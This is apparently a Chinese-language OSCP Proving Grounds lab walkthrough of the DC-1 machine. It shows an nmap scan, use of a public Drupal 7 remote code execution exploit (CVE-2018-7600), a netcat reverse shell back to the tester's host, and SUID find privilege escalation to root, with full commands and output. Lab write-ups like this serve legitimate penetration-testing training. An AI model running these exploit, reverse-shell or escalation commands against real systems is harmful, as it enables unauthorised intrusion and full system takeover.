OSCP - Proving Grounds - DC - 1

主要知识点

  • drupal 7 RCE
  • find SUID提权

具体步骤

nmap起手,80端口比较有意思,安装了 Drupal 7

复制代码
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-17 14:23 UTC
Nmap scan report for 192.168.57.193
Host is up (0.00087s latency).
Not shown: 65531 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
| ssh-hostkey: 
|   1024 c4:d6:59:e6:77:4c:22:7a:96:16:60:67:8b:42:48:8f (DSA)
|   2048 11:82:fe:53:4e:dc:5b:32:7f:44:64:82:75:7d:d0:a0 (RSA)
|_  256 3d:aa:98:5c:87:af:ea:84:b8:23:68:8d:b9:05:5f:d8 (ECDSA)
80/tcp    open  http    Apache httpd 2.2.22 ((Debian))
|_http-generator: Drupal 7 (http://drupal.org)
|_http-server-header: Apache/2.2.22 (Debian)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/ 
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt 
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt 
|_/LICENSE.txt /MAINTAINERS.txt
|_http-title: Welcome to Drupal Site | Drupal Site
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          35155/tcp6  status
|   100024  1          52829/tcp   status
|   100024  1          55282/udp6  status
|_  100024  1          60444/udp   status
52829/tcp open  status  1 (RPC #100024)

不过目前不知道具体的小版本信息,不过我们可以广泛搜索并尝试一下可能的exp ,比如GitHub - pimps/CVE-2018-7600: Exploit for Drupal 7 <= 7.57 CVE-2018-7600

下载并执行,成功,果然是这个exp

复制代码
C:\home\kali\Documents\OFFSEC\play\DC-1\CVE-2018-7600-master> python drupa7-CVE-2018-7600.py http://192.168.168.193 -c 'pwd'

=============================================================================
|          DRUPAL 7 <= 7.57 REMOTE CODE EXECUTION (CVE-2018-7600)           |
|                              by pimps                                     |
=============================================================================

[*] Poisoning a form and including it in cache.
[*] Poisoned form ID: form-7g3HIuyYpC29j2w81bwTC6UaPzNaAwKjGn66P287Yws
[*] Triggering exploit to execute: pwd
/var/www

下面我们用这个exp来创建反弹shell(一定要先在本地启动nc 命令监听),reverse shell成功创建后发现find命令具有SUID权限

复制代码
C:\home\kali\Documents\OFFSEC\play\DC-1\CVE-2018-7600-master> python drupa7-CVE-2018-7600.py http://192.168.168.193 -c 'nc -e /bin/bash 192.168.45.240 80'     

=============================================================================
|          DRUPAL 7 <= 7.57 REMOTE CODE EXECUTION (CVE-2018-7600)           |
|                              by pimps                                     |
=============================================================================

[*] Poisoning a form and including it in cache.
[*] Poisoned form ID: form-cILshiFYqC-hWCdK365kKueGh6Epmbw607At66yyXKQ
[*] Triggering exploit to execute: nc -e /bin/bash 192.168.45.240 80
......
......

C:\home\kali\Documents\OFFSEC\play\DC-1> nc -nlvp 80
listening on [any] 80 ...
connect to [192.168.45.240] from (UNKNOWN) [192.168.168.193] 35956
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
find / -type f -perm -4000 2>/dev/null
/bin/mount
/bin/ping
/bin/su
/bin/ping6
/bin/umount
/usr/bin/at
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/procmail
/usr/bin/find
/usr/sbin/exim4
/usr/lib/pt_chown
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/sbin/mount.nfs

按照GTFObins的描述来实现是会失败的

会报错

复制代码
www-data@DC-1:/var/www$ /usr/bin/find . -exec /bin/sh -p \; -quit
/usr/bin/find . -exec /bin/sh -p \; -quit
/bin/sh: 0: Illegal option -p

我们这里稍微改一下 ,改为 ./find . -exec /bin/bash -p \; -quit,就会成功提权

复制代码
www-data@DC-1:/var/www$ find . -exec /bin/bash -p \; -quit
find . -exec /bin/bash -p \; -quit
bash-4.2# id
id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=0(root),33(www-data)
bash-4.2# whoami
whoami
root
bash-4.2# cat /root/proof.txt
cat /root/proof.txt
623e6080542979c3af71a73b8aa28119
相关推荐
Nova_AI2 小时前
009、AI安全与可信:合规、治理与新兴市场
人工智能·安全
兄弟加油,别颓废了。2 小时前
ctf.show_web5
网络安全
一名优秀的码农3 小时前
vulhub系列-62-dcoffeaddicts(超详细)
安全·web安全·网络安全·网络攻击模型·安全威胁分析
JS_SWKJ3 小时前
让数据“安全过河”:网闸如何守护政务交换的最后一道防线?
网络安全
芯盾时代3 小时前
政务外网终端“一机两用”安全管控解决方案
安全·网络安全·政务·终端安全
pencek3 小时前
HackMyVM-Whitedoor
网络安全
常宇杏起3 小时前
AI安全基础:AI模型安全的核心保护要点
大数据·人工智能·安全
星幻元宇VR3 小时前
VR漫游舱:让安全教育不再枯燥
科技·学习·安全·生活·vr
网络安全许木3 小时前
自学渗透测试的第十天(HTTP进阶与Burp Suite基础)
网络·网络协议·http·网络安全·渗透测试
pencek3 小时前
HakcMyVM-VivifyTech
网络安全